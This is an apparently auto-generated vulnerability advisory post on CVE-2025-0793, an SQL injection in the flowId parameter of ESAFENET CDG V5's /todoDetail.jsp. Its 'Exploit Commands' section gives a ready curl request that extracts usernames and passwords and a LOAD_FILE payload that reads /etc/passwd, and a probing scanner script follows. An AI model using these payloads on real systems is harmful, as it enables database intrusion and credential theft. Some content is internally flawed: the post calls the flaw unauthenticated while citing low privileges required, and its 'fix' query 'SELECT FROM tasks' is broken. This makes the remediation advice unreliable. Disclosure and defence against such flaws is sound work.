ESAFENET CDG V5, SQL Injection, CVE-2025-0793 (Critical)

Listen to this Post

How CVE-2025-0793 Works

The vulnerability exists in ESAFENET CDG V5’s `/todoDetail.jsp` file, where the `flowId` parameter is improperly sanitized before being used in SQL queries. Attackers can inject malicious SQL payloads through this parameter, manipulating database operations. Due to lack of input validation and prepared statements, the application executes arbitrary SQL commands when processing crafted HTTP requests. Remote exploitation is possible without authentication, enabling data theft, modification, or deletion. The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:N) confirms network-based attacks with low complexity.

DailyCVE Form

Platform: ESAFENET CDG
Version: V5
Vulnerability: SQL Injection
Severity: Critical
Date: 05/13/2025

What Undercode Say:

Analytics:

  • Attack Vector: HTTP request to `/todoDetail.jsp`
    – Payload Example: `flowId=1′ OR 1=1–`
    – Risk: Database compromise

Exploit Commands:

curl -X GET "http://target.com/todoDetail.jsp?flowId=1'%20UNION%20SELECT%20username,password%20FROM%20users--"
-- SQLi Payload
1' AND (SELECT LOAD_FILE('/etc/passwd'))--

Mitigation:

1. Patch: Apply vendor updates.

2. WAF Rules:

location ~ /todoDetail.jsp {
deny all;
}

3. Code Fix:

// Use PreparedStatement
String query = "SELECT FROM tasks WHERE flowId = ?";
PreparedStatement stmt = conn.prepareStatement(query);
stmt.setString(1, flowId);

Detection:

grep -r "flowId=" /var/www/html
SQLi Scanner
import requests
payloads = ["'", "1=1", "UNION SELECT"]
for p in payloads:
r = requests.get(f"http://target.com/todoDetail.jsp?flowId={p}")
if "error" in r.text:
print(f"Vulnerable: {p}")

Log Analysis:

tail -f /var/log/tomcat/catalina.out | grep "SQLException"

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top